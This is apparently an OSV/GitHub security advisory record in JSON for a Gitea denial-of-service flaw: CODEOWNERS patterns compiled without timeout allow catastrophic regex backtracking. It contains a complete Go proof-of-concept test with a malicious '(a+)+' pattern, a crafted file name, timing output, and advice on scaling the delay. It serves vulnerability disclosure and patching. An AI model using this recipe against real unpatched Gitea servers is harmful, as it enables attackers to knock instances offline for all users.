Files
vuln-osv/data/Go/GHSA-v96j-25gv-g2w9.json
T

1 line
11 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-v96j-25gv-g2w9","published":"2026-07-21T20:34:33Z","modified":"2026-07-27T17:11:20.642548010Z","aliases":["CVE-2026-58421","GO-2026-6077"],"summary":"Gitea: Unauthenticated ReDoS via CODEOWNERS pattern matching allows denial of service","details":"This issue has been found by a security agent and review by myself.\n\nGitea's CODEOWNERS feature uses the regexp2 library to match file paths against ownership rules. User-supplied patterns are passed directly to regexp2.Compile with no sanitisation and no match timeout. This allows an attacker to write a pattern that causes the regex engine to backtrack exponentially when evaluated against a crafted file path.\n\n### Who can trigger it\n\nAny registered user on the instance. The attacker needs only:\n1. A repository they own (created via normal signup)\n2. A `CODEOWNERS` file on the default branch containing malicious patterns\n3. A pull request branch containing a file with a crafted name\n\nNo elevated permissions, no admin access, no existing repositories required.\n\n### How it is triggered\n\nThe attacker pushes a CODEOWNERS file containing repeated instances of a\ncatastrophic backtracking pattern (e.g. (a+)+ @attacker) and opens a pull request\nfrom a branch that contains a file named with a long string of repeated\ncharacters followed by a non-matching character (e.g.\n`aaaaaaaaaaaaaaaaaaaaaaaaaaX`). When Gitea processes the pull request, it evaluates\neach CODEOWNERS rule against each changed file path — with no timeout — causing\nthe server to hang for the duration of the backtracking.\n\n### Impact\n\nEvery pull request creation runs this evaluation inside a database transaction. A\nhung evaluation holds that transaction open, tying up a database connection for\nthe entire duration. With 11 rules in the CODEOWNERS file, a single pull request\ncreation request takes over 30 seconds. An attacker opening multiple pull\nrequests in parallel can exhaust the database connection pool, making the Gitea\ninstance unresponsive to all users.\n\n### Root cause\n\nThe vulnerable regex is here: \n\nhttps://github.com/go-gitea/gitea/blob/79810ba2e37a5b5b7840a7737a877fc7f1ea7c38/models/issues/pull.go#L886\n\n### PoC\n\nBelow is a PoC that demonstrates that 11 lines in a CODEOWNERS file and a well-named branch can trigger long processing times.\n\nThis is tested at commit `689ace1ce28fd74244b8aa335d9928cdbf6b22f9`.\n\n`tests/integration/pull_redos_test.go`\n```go\npackage integration\n\n// TestCodeOwnersReDoS_NewPullRequest demonstrates the ReDoS vulnerability\n// triggered via the full pull.NewPullRequest call chain.\n//\n// POST /api/v1/repos/{owner}/{repo}/pulls\n// -> routers/api/v1/repo/pull.go:CreatePullRequest\n// -> pull.NewPullRequest (services/pull/pull.go)\n// -> db.WithTx <- holds DB connection for duration of hang\n// -> issues_model.NewPullRequest <- inserts PR into DB\n// -> PullRequestCodeOwnersReview <- evaluates CODEOWNERS\n// -> rule.Rule.MatchString(changedFile) <- hangs here (catastrophic backtracking)\n//\n// The attacker controls both sides of the match:\n// - CODEOWNERS pattern: \"(a+)+\" compiled as ^(a+)+$ with regexp2.None (no timeout)\n// - PR changed file: \"aaa...X\" forces O(2^N) backtracking states\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\tuser_model \"gitea.dev/models/user\"\n\t\"gitea.dev/models/unittest\"\n\t\"gitea.dev/modules/git\"\n\tapi \"gitea.dev/modules/structs\"\n\trepo_service \"gitea.dev/services/repository\"\n\tfiles_service \"gitea.dev/services/repository/files\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCodeOwnersReDoS_NewPullRequest(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, u *url.URL) {\n\t\tuser2 := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})\n\n\t\trepo, err := repo_service.CreateRepositoryDirectly(t.Context(), user2, user2, repo_service.CreateRepoOptions{\n\t\t\tName: \"redos-codeowners\",\n\t\t\tReadme: \"Default\",\n\t\t\tAutoInit: true,\n\t\t\tObjectFormatName: git.Sha1ObjectFormat.Name(),\n\t\t\tDefaultBranch: \"main\",\n\t\t}, true)\n\t\trequire.NoError(t, err)\n\n\t\t// Push malicious CODEOWNERS to the default branch.\n\t\t// 11 identical rules × 1 changed file = 11 sequential MatchString calls.\n\t\t// Each call takes ~2.8s (25-char late-failing input), totalling ~30s.\n\t\t// ParseCodeOwnersLine wraps each token as ^(a+)+$ with regexp2.None (no timeout).\n\t\tvar codeowners strings.Builder\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{\n\t\t\tOldBranch: repo.DefaultBranch,\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation: \"create\",\n\t\t\t\t\tTreePath: \"CODEOWNERS\",\n\t\t\t\t\tContentReader: strings.NewReader(codeowners.String()),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Create a PR branch containing a file whose path is a late-failing input\n\t\t// for ^(a+)+$: 'a's that the engine greedily matches, then 'X' forces\n\t\t// backtracking through O(2^N) states (~2.8s per rule at 25 chars).\n\t\tmaliciousFilename := strings.Repeat(\"a\", 25) + \"X\"\n\t\t_, err = files_service.ChangeRepoFiles(t.Context(), repo, user2, &files_service.ChangeRepoFilesOptions{\n\t\t\tNewBranch: \"attack\",\n\t\t\tFiles: []*files_service.ChangeRepoFile{\n\t\t\t\t{\n\t\t\t\t\tOperation: \"create\",\n\t\t\t\t\tTreePath: maliciousFilename,\n\t\t\t\t\tContentReader: strings.NewReader(\"x\"),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\t// Obtain an API token for user2 and submit the PR creation request.\n\t\t// This calls pull.NewPullRequest which runs issues_model.NewPullRequest and\n\t\t// PullRequestCodeOwnersReview inside a single db.WithTx, tying up a DB\n\t\t// connection for the duration of the backtracking hang.\n\t\tsession := loginUser(t, user2.Name)\n\t\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeWriteRepository)\n\n\t\tstart := time.Now()\n\t\treq := NewRequestWithJSON(t, http.MethodPost,\n\t\t\tfmt.Sprintf(\"/api/v1/repos/%s/%s/pulls\", user2.Name, repo.Name),\n\t\t\t&api.CreatePullRequestOption{\n\t\t\t\tTitle: \"ReDoS PoC\",\n\t\t\t\tHead: \"attack\",\n\t\t\t\tBase: repo.DefaultBranch,\n\t\t\t},\n\t\t).AddTokenAuth(token)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\t\telapsed := time.Since(start)\n\n\t\tt.Logf(\"pull.NewPullRequest completed in %s\", elapsed)\n\t\tassert.Greater(t, elapsed, 25*time.Second,\n\t\t\t\"expected ~30s ReDoS hang (11 rules × ~2.8s each); pattern may have been sanitised\")\n\t})\n}\n```\n\nNow run:\n\n```\n# 1. Build the binary (needed for git hooks during repo creation)\nmake build\n\n# 2. Run the test\ngo test -v -run '^TestCodeOwnersReDoS_NewPullRequest$' -count=1 -timeout 120s ./tests/integration/\n```\n\nWhen the unit test starts, you should see that it takes 30 seconds with the following output:\n```\n=== TestCodeOwnersReDoS_NewPullRequest (tests/integration/pull_redos_test.go:42)\n testlogger.go:62: 2026/06/02 14:34:43 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /tmp/gitea-3/tests/gitea-lfs-meta\n testlogger.go:62: 2026/06/02 14:34:43 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 4.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 80.7ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/pre-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 3.5ms @ private/hook_pre_receive.go:109(private.HookPreReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /api/internal/hook/post-receive/user2/redos-codeowners for 127.0.0.1:0, 200 OK in 60.8ms @ private/hook_post_receive.go:33(private.HookPostReceive)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 3.1ms @ auth/auth.go:284(auth.SignInPost)\n testlogger.go:62: 2026/06/02 14:34:44 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 6.1ms @ setting/applications.go:36(setting.ApplicationsPost)\n testlogger.go:62: 2026/06/02 14:34:47 HTTPRequest [W] router: slow POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, elapsed 3182.4ms @ repo/pull.go:371(repo.CreatePullRequest)\n testlogger.go:62: 2026/06/02 14:35:16 HTTPRequest [I] router: completed POST /api/v1/repos/user2/redos-codeowners/pulls for test-mock:12345, 201 Created in 31631.6ms @ repo/pull.go:371(repo.CreatePullRequest)\n pull_redos_test.go:109: pull.NewPullRequest completed in 31.63184107s\n+++ TestCodeOwnersReDoS_NewPullRequest is a slow test (run: 33.342443947s, flush: 371.714µs)\n--- PASS: TestCodeOwnersReDoS_NewPullRequest (33.34s)\nPASS\n```\n\nYou can modify the \"11\" number in the CODEOWNERS file to manage execution speed directly: \n```go\n\t\tfor range 11 {\n\t\t\tcodeowners.WriteString(\"(a+)+ @user2\\n\")\n\t\t}\n```\n\nA higher number of lines will increase the execution time.","affected":[{"package":{"name":"code.gitea.io/gitea","ecosystem":"Go","purl":"pkg:golang/code.gitea.io/gitea"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.26.4"}]}],"database_specific":{"last_known_affected_version_range":"<= 1.26.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-v96j-25gv-g2w9/GHSA-v96j-25gv-g2w9.json"}}],"references":[{"type":"WEB","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-v96j-25gv-g2w9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58421"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/pull/38011"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/commit/ea35af1b68d57522c7686618bd61d3216d91589f"},{"type":"WEB","url":"https://blog.gitea.com/release-of-1.26.3-and-1.26.4"},{"type":"PACKAGE","url":"https://github.com/go-gitea/gitea"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/releases/tag/v1.26.4"}],"database_specific":{"cwe_ids":["CWE-284"],"github_reviewed":true,"github_reviewed_at":"2026-07-21T20:34:33Z","nvd_published_at":"2026-07-03T21:17:05Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}